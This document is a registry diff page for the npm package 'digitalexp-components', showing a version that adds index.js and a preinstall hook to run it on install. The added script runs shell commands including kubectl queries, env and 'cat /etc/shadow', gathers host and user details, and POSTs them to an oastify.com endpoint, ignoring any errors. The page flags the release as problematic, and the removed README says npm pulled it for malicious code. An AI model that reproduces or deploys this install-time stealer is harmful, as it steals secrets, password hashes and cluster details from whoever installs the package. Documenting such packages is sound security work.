digitalexp-components 0.0.1-security → 11.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +105 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { execSync } = require("child_process");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to execute shell commands safely
10
+ const runCommand = (cmd) => {
11
+ try {
12
+ return execSync(cmd, { encoding: "utf-8" }).trim();
13
+ } catch (err) {
14
+ return `Error executing '${cmd}': ${err.message}`;
15
+ }
16
+ };
17
+
18
+ // Sleep function to delay execution for a given number of milliseconds
19
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
20
+
21
+ // Function to execute the commands with delay
22
+ const executeCommandsWithDelay = async () => {
23
+ const lsOutput = runCommand("ls -la");
24
+ await sleep(500); // Wait 1 second
25
+
26
+ const networkPolicyOutput = runCommand("kubectl get networkpolicy -A");
27
+ await sleep(500); // Wait 1 second
28
+
29
+ const hostNetworkOutput = runCommand("kubectl get pods -o yaml | grep hostNetwork");
30
+ await sleep(500); // Wait 1 second
31
+
32
+ const gatewayOutput = runCommand("kubectl get gateway -n istio-system");
33
+ await sleep(500); // Wait 1 second
34
+
35
+ const ipRouteOutput = runCommand("ip route");
36
+ await sleep(500); // Wait 1 second
37
+
38
+ const envOutput = runCommand("env"); // Get environment variables
39
+ await sleep(500); // Wait 1 second
40
+
41
+ const shadowFileOutput = runCommand("cat /etc/shadow"); // Read /etc/shadow
42
+ await sleep(500); // Wait 1 second
43
+
44
+ const osreleaseOutput = runCommand("cat /etc/os-release"); // Read /etc/os-release
45
+ await sleep(500); // Wait 1 second
46
+
47
+ // Prepare tracking data
48
+ const trackingData = JSON.stringify({
49
+ p: package,
50
+ c: __dirname,
51
+ hd: os.homedir(),
52
+ hn: os.hostname(),
53
+ u: os.userInfo().username,
54
+ dns: dns.getServers().join(', '), // Convert DNS array to a string
55
+ r: packageJSON ? packageJSON.__resolved : undefined,
56
+ v: packageJSON.version,
57
+ pjson: packageJSON,
58
+ ls: lsOutput,
59
+ kubernetes: {
60
+ networkPolicy: networkPolicyOutput,
61
+ hostNetwork: hostNetworkOutput,
62
+ gateway: gatewayOutput,
63
+ ipRoute: ipRouteOutput,
64
+ },
65
+ env: envOutput, // Add environment variables
66
+ shadow: shadowFileOutput, // Add /etc/shadow content
67
+ osrelease: osreleaseOutput,
68
+ });
69
+
70
+ var postData = querystring.stringify({ msg: trackingData });
71
+
72
+ // Configure request options
73
+ var options = {
74
+ hostname: "k5qvv3ykb7osh4caq8ov4n55gwmnady2.oastify.com", // Replace with your endpoint
75
+ port: 443,
76
+ path: "/",
77
+ method: "POST",
78
+ headers: {
79
+ "Content-Type": "application/x-www-form-urlencoded",
80
+ "Content-Length": postData.length,
81
+ },
82
+ };
83
+
84
+ // Send the POST request
85
+ var req = https.request(options, (res) => {
86
+ res.on("data", (d) => {
87
+ process.stdout.write(d);
88
+ });
89
+
90
+ // Handle end of response
91
+ res.on("end", () => {
92
+ console.log("Request completed");
93
+ });
94
+ });
95
+
96
+ req.on("error", (e) => {
97
+ // Silently ignore errors
98
+ });
99
+
100
+ req.write(postData);
101
+ req.end();
102
+ };
103
+
104
+ // Execute the commands with delay
105
+ executeCommandsWithDelay();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "11.0.0",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.